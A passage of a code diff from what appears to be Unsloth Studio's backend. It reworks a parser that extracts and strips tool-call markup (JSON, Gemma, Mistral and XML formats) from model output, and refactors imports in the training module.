objs, ends + i += 1 + while i < body_end: + while i < body_end and text[i] in " \t\r\n,": + i += 1 + if i >= body_end or text[i] == "]": + break + try: + obj, rel = decoder.raw_decode(text[i:body_end]) + except (json.JSONDecodeError, ValueError): + break + i += rel + objs.append(obj) + ends.append(i) + return objs, ends + + +def _iter_bracket_spans( + text: str, + start: int = 0, + enabled_tool_names = None, +): + """Yield ``(span_start, span_end, kind, match)`` for each balanced bracket-tag + call from ``start`` on, in document order; ``span_end`` exclusive. ``kind`` is + ``"array"`` ([TOOL_CALLS] [..]), ``"name"`` ([TOOL_CALLS]name{..}, incl. v11 + [CALL_ID]/[ARGS]) or ``"rehearsal"`` (name[ARGS]{..}). + + ``enabled_tool_names`` (set, or None = unrestricted) gates only the ambiguous + bare rehearsal form: name[ARGS]{..} is a call ONLY when ``name`` is enabled, so a + prose ``foo[ARGS]{..}`` (foo disabled) is neither parsed nor stripped. Explicit + [TOOL_CALLS] markers stay unconditional, keeping parse/strip/detection symmetric. + + Balance-only (no JSON validation) so strip and parse share one scan. The cursor + jumps past each consumed span, so a marker inside consumed JSON is never + re-matched and each regex re-searches only once its match falls behind: linear.""" + n = len(text) + specs = ( + ("array", _MISTRAL_ARRAY_RE), + ("name", _MISTRAL_BRACKET_RE), + ("rehearsal", _REHEARSAL_RE), + ) + nexts = {kind: rx.search(text, start) for kind, rx in specs} + cursor = start + while cursor < n: + for kind, rx in specs: + m = nexts[kind] + if m is not None and m.start() < cursor: + nexts[kind] = rx.search(text, cursor) + live = [(kind, m) for kind, m in nexts.items() if m is not None] + if not live: + return + kind, m = min(live, key = lambda km: km[1].start()) + if kind == "array": + end = _balanced_bracket_end(text, m.end()) + end = None if end < 0 else end + else: + end = _balanced_json_span(text, m.end()) + if end is None: + # Truncated body: skip and keep scanning; the caller's catch-all strips the tail. + cursor = m.end() + continue + if ( + kind == "rehearsal" + and enabled_tool_names is not None + and m.group(1) not in enabled_tool_names + ): + # Inactive-name rehearsal is prose: advance past its body without yielding. + cursor = end + 1 + continue + yield (m.start(), end + 1, kind, m) + cursor = end + 1 + + +def _split_top_level_commas(src: str) -> list: + """Split on commas that are not inside a nested ``[]``/``{}`` or a string.""" + parts: list[str] = [] + depth = 0 + in_string = False + start = 0 + i = 0 + while i < len(src): + ch = src[i] + if in_string: + if ch == "\\" and i + 1 < len(src): + i += 2 + continue + if ch == '"': + in_string = False + elif ch == '"': + in_string = True + elif ch in "[{": + depth += 1 + elif ch in "]}": + depth -= 1 + elif ch == "," and depth == 0: + parts.append(src[start:i]) + start = i + 1 + i += 1 + parts.append(src[start:]) + return parts + + +def _quote_gemma_array_elements(body: str) -> str: + """Normalise the elements of a Gemma array value so json.loads succeeds. + + Gemma may emit ``labels:[bug,ui]`` without per-element quotes, or arrays of + objects (``items:[{path:a}]``) whose keys/values also lack quotes; left + as-is json.loads fails and the whole call is dropped. Bare string elements + are quoted, object and nested-array elements are normalised recursively, and + quoted strings (already normalised from ``<|"|>``), numbers, and JSON + literals are preserved.""" + out: list[str] = [] + for element in _split_top_level_commas(body): + stripped = element.strip() + if not stripped or stripped[0] == '"': + out.append(element) + continue + if stripped[0] == "{": + # Object element: quote its keys/bare values like a top-level object. + out.append(_quote_gemma_object_keys(stripped)) + continue + if stripped[0] == "[": + # Nested array: normalise its elements too. + inner_end = _balanced_bracket_end(stripped, 0) + if inner_end == len(stripped) - 1: + out.append("[" + _quote_gemma_array_elements(stripped[1:inner_end]) + "]") + else: + out.append(element) + continue + try: + json.loads(stripped) + out.append(element) + except (json.JSONDecodeError, ValueError): + out.append(json.dumps(stripped)) + return ",".join(out) + + +def _normalise_gemma_quoted_strings(src: str) -> str: + parts: list[str] = [] + i = 0 + while i < len(src): + if not src.startswith(_GEMMA_QUOTE, i): + parts.append(src[i]) + i += 1 + continue + end = src.find(_GEMMA_QUOTE, i + len(_GEMMA_QUOTE)) + if end < 0: + parts.append(src[i:]) + break + raw_value = src[i + len(_GEMMA_QUOTE) : end] + parts.append(json.dumps(raw_value)) + i = end + len(_GEMMA_QUOTE) + return "".join(parts) + + +def _quote_gemma_object_keys(src: str) -> str: + parts: list[str] = [] + i = 0 + in_string = False + while i < len(src): + ch = src[i] + if in_string: + parts.append(ch) + if ch == "\\" and i + 1 < len(src): + parts.append(src[i + 1]) + i += 2 + continue + if ch == '"': + in_string = False + i += 1 + continue + if ch == '"': + in_string = True + parts.append(ch) + i += 1 + continue + if ch not in "{,": + parts.append(ch) + i += 1 + continue + + parts.append(ch) + i += 1 + key_start = i + while i < len(src) and src[i].isspace(): + i += 1 + key_name_start = i + while i < len(src) and (src[i].isalnum() or src[i] in "_-."): + i += 1 + key_name = src[key_name_start:i] + colon_pos = i + while colon_pos < len(src) and src[colon_pos].isspace(): + colon_pos += 1 + if key_name and colon_pos < len(src) and src[colon_pos] == ":": + parts.append(src[key_start:key_name_start]) + parts.append(json.dumps(key_name)) + parts.append(src[i:colon_pos]) + parts.append(":") + i = colon_pos + 1 + # Gemma may emit bare string values ({unit:celsius}); quote them so + # json.loads succeeds. JSON scalars/objects/arrays/quoted stay as-is. + ws = i + while i < len(src) and src[i].isspace(): + i += 1 + parts.append(src[ws:i]) + if i < len(src) and src[i] == "[": + # Array value: quote bare string elements (e.g. labels:[bug,ui]) + # so json.loads succeeds instead of dropping the call. + arr_end = _balanced_bracket_end(src, i) + if arr_end < 0: + parts.append(src[i:]) + i = len(src) + else: + parts.append("[" + _quote_gemma_array_elements(src[i + 1 : arr_end]) + "]") + i = arr_end + 1 + elif i < len(src) and src[i] not in '"{': + v_start = i + # Consume the bare value up to `}` or a comma that starts the + # next key:value pair; a comma inside the value (e.g. + # `New York, NY`) does not terminate it. + while i < len(src): + if src[i] == "}": + break + if src[i] == "," and _GEMMA_NEXT_KEY_RE.match(src, i + 1): + break + i += 1 + raw = src[v_start:i] + try: + json.loads(raw.strip()) + parts.append(raw) + except (json.JSONDecodeError, ValueError): + # Quote bare value; empty ({k:}) becomes "" so json.loads sees {"k":""} not invalid {"k":}. + parts.append(json.dumps(raw.strip())) + else: + parts.append(src[key_start:i]) + return "".join(parts) + + +def _gemma_arguments_to_json(args_src: str) -> dict: + """Parse Gemma 4's native call:name{key:value} argument object.""" + args_src = args_src.strip() + if not args_src: + return {} + src = _normalise_gemma_quoted_strings(args_src) + src = "{" + src + "}" + src = _quote_gemma_object_keys(src) + return json.loads(src) + + +def _inside_open_parameter(content: str, pos: int) -> bool: + """Return True when ``pos`` falls inside an unclosed parameter value.""" + last_param_start = -1 + for match in _TC_PARAM_START_RE.finditer(content, 0, pos): + last_param_start = match.start() + if last_param_start < 0: + return False + # The parameter's OWN close tag decides: if it closes after ``pos`` the position is + # argument data (even across literal function closes); an unclosed one falls back to func close. + own_close = content.find(_PARAM_CLOSE_TAG, last_param_start) + if own_close >= 0: + return own_close > pos + func_close = content.find(_FUNC_CLOSE_TAG, last_param_start) + return func_close < 0 or pos < func_close + + +def _func_close_index(content: str, body_start: int, body: str) -> int: + """Index in ``body`` of the first ```` that is not argument + data (not inside an open parameter value); -1 when every close is data. + Taking the LAST close swallowed prose between the real close and a + literal ```` mentioned later in the answer.""" + idx = body.find(_FUNC_CLOSE_TAG) + while idx >= 0: + if not _inside_open_parameter(content, body_start + idx): + return idx + idx = body.find(_FUNC_CLOSE_TAG, idx + 1) + return -1 + + +def _trim_param_value(val: str) -> str: + """Trim the single wrapping newline the chat template adds around an XML + parameter value, preserving indentation inside VALUE (``str.strip()`` destroyed + code/diff argument indentation).""" + if val.startswith("\n"): + val = val[1:] + if val.endswith("\n"): + val = val[:-1] + return val + + +def _marker_coverage(content: str, markers) -> list[tuple[int, int]]: + """Coverage ``[start, end]`` per marker, used to skip markers that are another + call's data. Closes pair to markers via a per-format stack so an inner close + is not mistaken for the outer's. Unbalanced braces cover to EOF; balanced with + a paired close cover through it (markers before the close are data); balanced + without one cover only the braces, so a later sibling is still recovered.""" + n = len(content) + brace_regions = [(s, be) for (s, be, _k, _m) in markers if be >= 0] + events = [] # (position, order) with order 0 = braces-done, 1 = close marker + for idx, (_start, brace_end, _kind, _m) in enumerate(markers): + if brace_end >= 0: + events.append((brace_end, 0, _kind, idx)) + for kind, close_re in (("json", _TC_END_TAG_RE), ("gemma", _TC_GEMMA_END_TAG_RE)): + for cm in close_re.finditer(content): + # A close inside another call's balanced braces is quoted data; it + # must not pop an earlier close-less marker and swallow a sibling. + if any(s < cm.start() < be for s, be in brace_regions): + continue + events.append((cm.start(), 1, kind, cm.end())) + events.sort(key = lambda e: (e[0], e[1])) + waiting = {"json": [], "gemma": []} + close_end_for: dict[int, int] = {} + for _pos, order, kind, payload in events: + if order == 0: + waiting[kind].append(payload) # marker index, now awaiting its close + elif waiting[kind]: + close_end_for[waiting[kind].pop()] = payload # innermost open marker closes here + coverage = [] + for idx, (start, brace_end, _kind, _m) in enumerate(markers): + if brace_end < 0: + coverage.append((start, n)) + elif idx in close_end_for: + coverage.append((start, close_end_for[idx])) + else: + coverage.append((start, brace_end)) + return coverage + + +def _build_markers(content: str): + """JSON/Gemma tool markers as ``(start, brace_end, kind, match)`` in document + order; ``brace_end < 0`` marks an unbalanced (to-EOF) open.""" + markers = [] + for start_re, gemma, kind in ( + (_TC_JSON_START_RE, False, "json"), + (_TC_GEMMA_START_RE, True, "gemma"), + ): + for m in start_re.finditer(content): + if _inside_open_parameter(content, m.start()): + continue + brace_end = _balanced_brace_end(content, m.end() - 1, gemma_quotes = gemma) + markers.append((m.start(), brace_end, kind, m)) + markers.sort(key = lambda c: c[0]) + return markers + + +def marker_coverage(content: str) -> list[tuple[int, int]]: + """Coverage spans of JSON/Gemma tool markers so other parsers can treat markup + inside a marker's coverage (even a marker that failed to parse) as that call's + data rather than a sibling call.""" + return _marker_coverage(content, _build_markers(content)) + + +def parse_tool_calls_from_text( + content: str, + *, + id_offset: int = 0, + allow_incomplete: bool = True, + enabled_tool_names = None, + with_spans: bool = False, +): + """Parse OpenAI-format tool calls from model text. Handles formats like: {"name":"web_search","arguments":{"query":"..."}} + <|tool_call>call:web_search{query:"..."} ... - Closing tags (, , ) are all - optional since models frequently omit them. + [TOOL_CALLS]web_search{"query":"..."} (Mistral / Devstral fallback) + web_search[ARGS]{"query":"..."} (reasoning-model rehearsal) + + A call rehearsed inside a ```` / ``[THINK]`` block is skipped, not + executed; the block is kept so a literal tag in a real argument is preserved. + + With ``with_spans=True`` returns ``(tool_calls, spans)`` where ``spans[i]`` + is the half-open ``(start, end)`` byte range of ``tool_calls[i]``'s markup + in ``content`` (including its close tag when present), so a caller can + remove exactly the parsed markup and keep every other byte intact. """ - tool_calls = [] + # Candidates starting inside a think block are rehearsals, skipped; blocks are kept, and a + # think marker opening inside a call is argument data (excluded from spans). + _think_spans = _think_spans_outside_tool_markup(content) + _think_starts = [s for s, _e in _think_spans] - # Pattern 1: JSON inside tags. Balanced-brace extraction that - # skips braces inside JSON strings. - for m in _TC_JSON_START_RE.finditer(content): - brace_start = m.end() - 1 # position of the opening { - depth, i = 0, brace_start - in_string = False - while i < len(content): - ch = content[i] - if in_string: - if ch == "\\" and i + 1 < len(content): - i += 2 # skip escaped character + def _in_think(pos: int) -> bool: + # Spans are ordered and non-overlapping; bisect gives O(log M) per candidate. + i = bisect.bisect_right(_think_starts, pos) - 1 + return i >= 0 and _think_spans[i][0] <= pos < _think_spans[i][1] + + tool_calls: list[dict] = [] + call_spans: list[tuple] = [] + # Collect JSON/Gemma markers; _marker_coverage decides nesting so a marker inside + # another call's coverage (even one that failed to parse) is data, not executed. A + # marker opening inside a think block is a rehearsal and is skipped. + parsed_items = [] # (start, span_end, name, arguments) in document order + markers = [mk for mk in _build_markers(content) if not _in_think(mk[0])] + coverage = _marker_coverage(content, markers) + for idx, (start, brace_end, kind, m) in enumerate(markers): + if any(s <= start < e for j, (s, e) in enumerate(coverage) if j != idx): + continue + if brace_end < 0: + continue # unclosed: not parseable; the fallback still excludes its XML + if not allow_incomplete: + tail = content[brace_end + 1 :].lstrip() + close_re = _TC_END_TAG_RE if kind == "json" else _TC_GEMMA_END_TAG_RE + if close_re.match(tail) is None: + continue + try: + if kind == "json": + obj = json.loads(content[m.end() - 1 : brace_end + 1]) + name = obj.get("name", "") + # Accept ``parameters`` alias for ``arguments`` (Llama-3.2 drift inside Hermes). + arguments = obj.get("arguments") + if arguments is None: + arguments = obj.get("parameters", {}) + if isinstance(arguments, dict): + arguments = json.dumps(arguments) + else: + name = m.group(1) + arguments = json.dumps(_gemma_arguments_to_json(content[m.end() : brace_end])) + except (json.JSONDecodeError, ValueError): + continue + span_end = brace_end + 1 + close_re = _TC_END_TAG_RE if kind == "json" else _TC_GEMMA_END_TAG_RE + ws = len(content[span_end:]) - len(content[span_end:].lstrip()) + close_m = close_re.match(content, span_end + ws) + if close_m: + span_end = close_m.end() + parsed_items.append((start, span_end, name, arguments)) + + func_starts = [ + fm + for fm in _TC_FUNC_START_RE.finditer(content) + if not _inside_open_parameter(content, fm.start()) + and not _in_think(fm.start()) + and not any(s <= fm.start() < e for s, e in coverage) + ] + for idx, fm in enumerate(func_starts): + func_name = fm.group(1) + body_start = fm.end() + next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content) + end_tag = _TC_END_TAG_RE.search(content[body_start:]) + if end_tag: + body_end = body_start + end_tag.start() + else: + body_end = len(content) + body_end = min(body_end, next_func) + body = content[body_start:body_end] + close_idx = _func_close_index(content, body_start, body) + if close_idx >= 0: + span_end = body_start + close_idx + len(_FUNC_CLOSE_TAG) + body = body[:close_idx] + elif not allow_incomplete: + continue + else: + body = _TC_FUNC_CLOSE_RE.sub("", body) + span_end = body_end + + arguments: dict = {} + param_starts = list(_TC_PARAM_START_RE.finditer(body)) + if len(param_starts) == 1: + pm = param_starts[0] + val = body[pm.end() :] + if not allow_incomplete: + stripped_val = val.rstrip() + if not stripped_val.endswith(_PARAM_CLOSE_TAG): continue - if ch == '"': - in_string = False - elif ch == '"': - in_string = True - elif ch == "{": - depth += 1 - elif ch == "}": - depth -= 1 - if depth == 0: - break - i += 1 - if depth == 0: - json_str = content[brace_start : i + 1] - try: - obj = json.loads(json_str) - tc = { - "id": f"call_{len(tool_calls)}", - "type": "function", - "function": { - "name": obj.get("name", ""), - "arguments": obj.get("arguments", {}), - }, - } - if isinstance(tc["function"]["arguments"], dict): - tc["function"]["arguments"] = json.dumps(tc["function"]["arguments"]) - tool_calls.append(tc) - except (json.JSONDecodeError, ValueError): - pass - - # Pattern 2: XML-style value - # All closing tags optional; models frequently omit them. - if not tool_calls: - # Step 1: Find positions and extract bodies. Use only - # or the next - # can appear in code values); trim a trailing afterwards. - func_starts = list(_TC_FUNC_START_RE.finditer(content)) - for idx, fm in enumerate(func_starts): - func_name = fm.group(1) - body_start = fm.end() - # Boundaries: next - next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content) - end_tag = _TC_END_TAG_RE.search(content[body_start:]) - if end_tag: - body_end = body_start + end_tag.start() + val = stripped_val[: -len(_PARAM_CLOSE_TAG)] else: - body_end = len(content) - body_end = min(body_end, next_func) - body = content[body_start:body_end] - body = _TC_FUNC_CLOSE_RE.sub("", body) # trim closing - - # Step 2: Extract parameters from body. For single-parameter - # functions, use body end as the only boundary to avoid matching - # inside code strings. - arguments = {} - param_starts = list(_TC_PARAM_START_RE.finditer(body)) - if len(param_starts) == 1: - # Value is everything after the tag to end of body, less a - # trailing . - pm = param_starts[0] - val = body[pm.end() :] val = _TC_PARAM_CLOSE_RE.sub("", val) - arguments[pm.group(1)] = val.strip() - else: - for pidx, pm in enumerate(param_starts): - param_name = pm.group(1) - val_start = pm.end() - # Value ends at next - arguments[param_name] = val.strip() + arguments[pm.group(1)] = _trim_param_value(val) + else: + valid_params = True + for pidx, pm in enumerate(param_starts): + param_name = pm.group(1) + val_start = pm.end() + next_param = ( + param_starts[pidx + 1].start() if pidx + 1 < len(param_starts) else len(body) + ) + val = body[val_start:next_param] + if not allow_incomplete: + stripped_val = val.rstrip() + if not stripped_val.endswith(_PARAM_CLOSE_TAG): + valid_params = False + break + val = stripped_val[: -len(_PARAM_CLOSE_TAG)] + else: + val = _TC_PARAM_CLOSE_RE.sub("", val) + arguments[param_name] = _trim_param_value(val) + if not valid_params: + continue - tc = { - "id": f"call_{len(tool_calls)}", + span_start = fm.start() + wrap_open = re.search(r"\s*$", content[:span_start]) + wrap_close = re.match(r"\s*", content[span_end:]) + if wrap_open and wrap_close: + span_start = wrap_open.start() + span_end += wrap_close.end() + parsed_items.append((span_start, span_end, func_name, json.dumps(arguments))) + + parsed_items.sort(key = lambda item: item[0]) + for start, span_end, name, arguments in parsed_items: + tool_calls.append( + { + "id": f"call_{id_offset + len(tool_calls)}", "type": "function", - "function": { - "name": func_name, - "arguments": json.dumps(arguments), - }, + "function": {"name": name, "arguments": arguments}, } - tool_calls.append(tc) + ) + call_spans.append((start, span_end)) + + # Patterns 3+4: Mistral [TOOL_CALLS] and bare rehearsal via one balanced scan in document + # order, so a Mistral call and a rehearsal in one message both parse. + if not tool_calls: + for start, end, kind, m in _iter_bracket_spans( + content, enabled_tool_names = enabled_tool_names + ): + if _in_think(start): + continue + # Extend the region over an immediately-following v11 closer so with_spans consumers strip it too. + closer = re.match(r"\s*\[/TOOL_CALLS\]", content[end:]) + region_end = end + closer.end() if closer else end + if kind == "array": + # Decode elements individually (comma-tolerant): one json.loads of the whole + # body rejects the comma-less multi-call arrays Mistral/Ollama templates emit. + payload, item_ends = _decode_array_items(content, m.end(), end) + if not payload: + continue + # Tile the region so every byte belongs to exactly one span; a with_spans consumer + # keeps skipped bytes visible and strips promoted markup exactly once. + tile_start = start + last_span_idx = -1 + for item_idx, item in enumerate(payload): + if not isinstance(item, dict) or "name" not in item: + continue + args = item.get("arguments", {}) + if isinstance(args, str): + # ``arguments`` may itself be a JSON string (OpenAI spec). + try: + args = json.loads(args) + except (json.JSONDecodeError, ValueError): + pass + if not isinstance(args, (dict, str)): + # ``"arguments": null`` (or any non-object scalar) becomes {} like the + # path, not the string "null" auto-heal would mangle to + # a bogus {"query":"null"}. + args = {} + tool_calls.append( + { + "id": f"call_{id_offset + len(tool_calls)}", + "type": "function", + "function": { + "name": item.get("name", ""), + # A bare scalar string stays raw (like the path); + # json.dumps would double-encode it so the arg healer wraps + # "weather" with its literal quotes. + "arguments": args if isinstance(args, str) else json.dumps(args), + }, + } + ) + item_end = item_ends[item_idx] if item_idx < len(item_ends) else region_end + last_span_idx = len(call_spans) + call_spans.append((tile_start, item_end)) + tile_start = item_end + if last_span_idx >= 0: + tile_start, _tile_end = call_spans[last_span_idx] + call_spans[last_span_idx] = (tile_start, region_end) + else: + try: + payload = json.loads(content[m.end() : end]) + except (json.JSONDecodeError, ValueError): + continue + if not isinstance(payload, dict): + continue + tool_calls.append( + { + "id": f"call_{id_offset + len(tool_calls)}", + "type": "function", + "function": { + "name": m.group(1), + "arguments": json.dumps(payload), + }, + } + ) + call_spans.append((start, region_end)) + + if with_spans: + return tool_calls, call_spans return tool_calls -def strip_tool_call_markup(text: str, *, final: bool = False) -> str: +def _strip_bracket_tag_calls(text: str, enabled_tool_names = None) -> str: + """Strip complete [TOOL_CALLS] arrays / name / bare name[ARGS]{..} calls with one + balanced forward scan, so nested JSON args are removed whole (a fixed-depth regex + left two-level args behind). Truncated tails go to the caller's catch-all. Linear. + ``enabled_tool_names`` gates the rehearsal form (inactive-name prose kept; None + strips every span).""" + if len(text) > _MAX_BRACKET_SCAN_CHARS: + return text + out: list[str] = [] + cursor = 0 + for start, end, _kind, _m in _iter_bracket_spans(text, enabled_tool_names = enabled_tool_names): + out.append(text[cursor:start]) + cursor = end + out.append(text[cursor:]) + return "".join(out) + + +def _tool_call_markup_spans(text: str) -> list[tuple[int, int]]: + """Spans of tool-call markup, so a literal /[THINK] inside a call's args is + stripped WITH the call, not kept as a reasoning block. Covers closed XML/bracket + calls and an unclosed XML call (run via allow_incomplete); without the open-ended + span the unclosed call's markup would leak after execution.""" + # Skip a lazy closed-pair pattern whose close token is absent: its finditer would rescan + # to EOF from every opener (quadratic on a stream of unclosed openers). + spans = [ + m.span() + for pat in _TOOL_CLOSED_PATS + if (_PAT_REQUIRED_TOKEN.get(pat) is None or _PAT_REQUIRED_TOKEN[pat] in text) + for m in pat.finditer(text) + ] + spans.extend((start, end) for start, end, _kind, _m in _iter_bracket_spans(text)) + # An unclosed opener is a real incomplete call only outside closed/bracket spans. + for pat in _TOOL_OPEN_XML_TAIL_PATS: + for m in pat.finditer(text): + if not any(s <= m.start() < e for s, e in spans): + spans.append(m.span()) + return spans + + +def _think_spans_outside_tool_markup(text: str) -> list[tuple[int, int]]: + """/[THINK] block spans, minus any whose opening marker sits INSIDE a + tool-call span (that tag is argument data, not reasoning). Keeping it would drop a + real call after it as rehearsed and leak the call's markup. START tested only, so + a greedy unclosed past the call is still that call's argument data.""" + think_spans = [m.span() for m in _THINK_TAG_RE.finditer(text)] + call_spans = _tool_call_markup_spans(text) + # Prefilled reasoning: the template opens in the prompt, so add a leading span + # (0..close) to skip calls rehearsed there; guarded so a stray close in a normal answer is safe. + close = _THINK_CLOSE_RE.search(text) + if close is not None: + opener = _THINK_OPEN_RE.search(text) + if ( + (opener is None or close.start() < opener.start()) + and not any(cs <= close.start() < ce for cs, ce in call_spans) + and any(cs >= close.end() for cs, ce in call_spans) + ): + think_spans = [(0, close.end())] + think_spans + if not think_spans: + return think_spans + if not call_spans: + return think_spans + return [(s, e) for (s, e) in think_spans if not any(cs <= s < ce for cs, ce in call_spans)] + + +def strip_outside_think(text: str, strip_segment) -> str: + """Apply ``strip_segment(segment, is_last)`` to visible text around /[THINK] + blocks, preserving the blocks verbatim (tool-looking text inside is rehearsal). + ``is_last`` is True only after the final block, so trailing-tail patterns apply + only there. Shared by every strip path so they stay consistent.""" + # A think marker opening inside a complete call is argument text; excluding it lets the + # stripper see the whole call. START-tested, so an unclosed match stays argument data. + think_spans = _think_spans_outside_tool_markup(text) + if not think_spans: + return strip_segment(text, True) + pieces: list[str] = [] + prev = 0 + for s, e in think_spans: + pieces.append(strip_segment(text[prev:s], False)) + pieces.append(text[s:e]) + prev = e + pieces.append(strip_segment(text[prev:], True)) + return "".join(pieces) + + +def _strip_gemma_native_spans(text: str, *, final: bool) -> str: + """Remove complete Gemma-native spans, brace/quote-balanced so a literal + ```` in a quoted argument cannot truncate the span. An incomplete + span is dropped to EOF when ``final``, else kept (still streaming).""" + out: list[str] = [] + cursor = 0 + for match in _TC_GEMMA_START_RE.finditer(text): + start = match.start() + if start < cursor: + continue + brace_end = _balanced_brace_end(text, match.end() - 1, gemma_quotes = True) + if brace_end < 0: + # Unbalanced: nothing completes from here on. Drop the rest if final, + # else keep it; stop either way (rescanning would be quadratic). + if final: + out.append(text[cursor:start]) + cursor = len(text) + break + # Junk between } and is malformed-call markup: strip through + # the close, keep text after it. No close anywhere means stop (linear). + close = _TC_GEMMA_END_TAG_RE.search(text, brace_end + 1) + if close is None: + if final: + out.append(text[cursor:start]) + cursor = len(text) + break + out.append(text[cursor:start]) + cursor = close.end() + out.append(text[cursor:]) + return "".join(out) + + +def _gemma_span_ranges(text: str) -> list: + """``(start, end)`` of each complete Gemma-native span; same walk as + ``_strip_gemma_native_spans`` without stripping.""" + ranges: list[tuple] = [] + cursor = 0 + for match in _TC_GEMMA_START_RE.finditer(text): + start = match.start() + if start < cursor: + continue + brace_end = _balanced_brace_end(text, match.end() - 1, gemma_quotes = True) + if brace_end < 0: + break + close = _TC_GEMMA_END_TAG_RE.search(text, brace_end + 1) + if close is None: + break + ranges.append((start, close.end())) + cursor = close.end() + return ranges + + +def _strip_closed_blocks_outside_gemma(text: str) -> str: + """Closed JSON/function pre-pass that skips matches starting inside a complete + Gemma span: deleting across the span boundary would mangle the Gemma close and + truncate the tail. A skipped match resumes at the covering span's end, so a + real function-XML call after the span is still stripped.""" + ranges = _gemma_span_ranges(text) + if not ranges: + return strip_tool_patterns(text, _TOOL_CLOSED_BLOCK_PATS) + for pat in _TOOL_CLOSED_BLOCK_PATS: + token = _PAT_REQUIRED_TOKEN.get(pat) + if token is not None and token not in text: + continue + out: list[str] = [] + pos = 0 + while True: + m = pat.search(text, pos) + if m is None: + out.append(text[pos:]) + break + covering = next((r for r in ranges if r[0] <= m.start() < r[1]), None) + if covering is not None: + out.append(text[pos : covering[1]]) + pos = covering[1] + continue + out.append(text[pos : m.start()]) + pos = m.end() + new_text = "".join(out) + if new_text != text: + text = new_text + ranges = _gemma_span_ranges(text) + return text + + +def _strip_markup_segment( + text: str, + *, + final: bool, + enabled_tool_names = None, +) -> str: + # Bracket-tag calls (Mistral/rehearsal) first via balanced scan (any nesting depth, + # rehearsal name-gated); then the quote-aware Gemma-native passes so a literal + # in an argument cannot truncate a block; finally the regex XML/tail sweeps. + text = _strip_bracket_tag_calls(text, enabled_tool_names = enabled_tool_names) + text = _strip_closed_blocks_outside_gemma(text) + text = _strip_gemma_native_spans(text, final = final) + patterns = _TOOL_ALL_PATS if final else _TOOL_CLOSED_PATS + return apply_tool_strip_patterns(text, patterns, enabled_tool_names = enabled_tool_names) + + +def strip_tool_call_markup( + text: str, + *, + final: bool = False, + enabled_tool_names = None, +) -> str: """Strip tool-call XML markup from text. When ``final`` is False, only fully closed tool-call blocks are removed. When ``final`` is True, trailing incomplete tool-call blocks are removed too, and the result is stripped of surrounding whitespace. + + ```` / ``[THINK]`` reasoning is preserved verbatim (see + ``strip_outside_think``); the trailing-tail patterns apply only after the + last block. ``enabled_tool_names`` keeps an inactive-name ``foo[ARGS]{..}`` + example visible (it is prose, not a call) so display cleanup matches detection. """ - patterns = _TOOL_ALL_PATS if final else _TOOL_CLOSED_PATS - for pat in patterns: - text = pat.sub("", text) - return text.strip() if final else text + result = strip_outside_think( + text, + lambda seg, is_last: _strip_markup_segment( + seg, final = final and is_last, enabled_tool_names = enabled_tool_names + ), + ) + return result.strip() if final else result diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py index 0c14061be6..96d1b90b16 100644 --- a/studio/backend/core/training/trainer.py +++ b/studio/backend/core/training/trainer.py @@ -46,58 +46,8 @@ if hasattr(torch._dynamo.config, "recompile_limit"): torch._dynamo.config.recompile_limit = 64 -def _ensure_real_packages(*names: str) -> None: - """Stop `import ` from binding to a namespace-package shadow. - - A directory named like the package but missing __init__.py on sys.path (a - stray checkout, a partial clone, or a polluted PYTHONPATH) makes the path - finder return a namespace package, so `from unsloth import FastLanguageModel` - dies with "cannot import name ... (unknown location)". A normal - site-packages install always wins, so only source/editable installs are - exposed. Drop the offending entries, import the real packages, then restore - sys.path so other modules on those entries keep importing. - """ - import importlib - import importlib.util - - bad: set = set() - shadowed: list = [] - for name in names: - try: - spec = importlib.util.find_spec(name) - except (ImportError, ValueError, AttributeError): - spec = None - # a real package exposes its __init__ via spec.origin; a namespace - # shadow has origin None/"namespace" and only search locations - if spec is None or spec.origin not in (None, "namespace"): - continue - dirs = {os.path.realpath(d) for d in (spec.submodule_search_locations or [])} - if not dirs: - continue - shadowed.append(name) - for entry in sys.path: - pkg = os.path.join(entry or os.getcwd(), name) - if os.path.realpath(pkg) in dirs and not os.path.isfile( - os.path.join(pkg, "__init__.py") - ): - bad.add(entry) - if not bad: - return - saved = list(sys.path) - sys.path[:] = [e for e in sys.path if e not in bad] - for name in shadowed: - for cached in [m for m in list(sys.modules) if m == name or m.startswith(name + ".")]: - del sys.modules[cached] - try: - importlib.invalidate_caches() - # Import unsloth before unsloth_zoo (names are dependency-first): - # unsloth.__init__ runs ROCm/Windows bnb fixes before it imports zoo, - # so importing zoo first here would skip them. Repeat import is a no-op. - for name in reversed(names): - importlib.import_module(name) - finally: - sys.path[:] = saved - +# Drop any unsloth/unsloth_zoo namespace-package shadow before importing them. +from core.import_guards import ensure_real_packages as _ensure_real_packages _ensure_real_packages("unsloth_zoo", "unsloth") from unsloth import FastLanguageModel, FastVisionModel, is_bfloat16_supported @@ -111,8 +61,7 @@ import structlog from loggers import get_logger import time from pathlib import Path -from typing import Optional, Callable -from dataclasses import dataclass +from typing import Any, Dict, List, Optional, Callable import pandas as pd from datasets import Dataset from utils.datasets.cache_safe import load_dataset_cache_safe as load_dataset @@ -121,8 +70,9 @@ from core.inference.llama_cpp import _hf_offline_if_dns_dead from utils.models import is_vision_model, detect_audio_type from utils.models.model_config import _env_offline from utils.datasets import format_and_template_dataset -from utils.datasets import MODEL_TO_TEMPLATE_MAPPER, TEMPLATE_TO_RESPONSES_MAPPER -from utils.datasets.raw_text import prepare_raw_text_dataset +from utils.datasets.completion_masking import apply_completion_masking +from utils.datasets.iterable import is_streaming_dataset as detect_streaming_dataset +from utils.datasets.raw_text import prepare_raw_text_dataset, resolve_column_names from utils.paths import ( ensure_dir, resolve_dataset_path, @@ -135,9 +85,19 @@ from utils.native_path_leases import child_env_without_native_path_secret from utils.subprocess_compat import ( windows_hidden_subprocess_kwargs as _windows_hidden_subprocess_kwargs, ) +from .training import ( + TrainingProgress, + create_mlx_trainer_adapter, + should_use_mlx_training_backend, +) logger = get_logger(__name__) +# A streaming eval dataset has no __len__, so a streaming evaluation would +# iterate the entire (potentially unbounded) source on every eval step. Cap it +# to a fixed sample count so each evaluation terminates predictably. +STREAMING_EVAL_MAX_SAMPLES = 500 + def _build_report_targets(training_args) -> list[str] | str: report_to: list[str] = [] @@ -148,31 +108,16 @@ def _build_report_targets(training_args) -> list[str] | str: return report_to or "none" -@dataclass -class TrainingProgress: - """Training progress tracking""" - - epoch: float = 0 - step: int = 0 - total_steps: int = 0 - loss: Optional[float] = None - learning_rate: Optional[float] = None - is_training: bool = False - is_completed: bool = False - error: Optional[str] = None - status_message: str = "Ready to 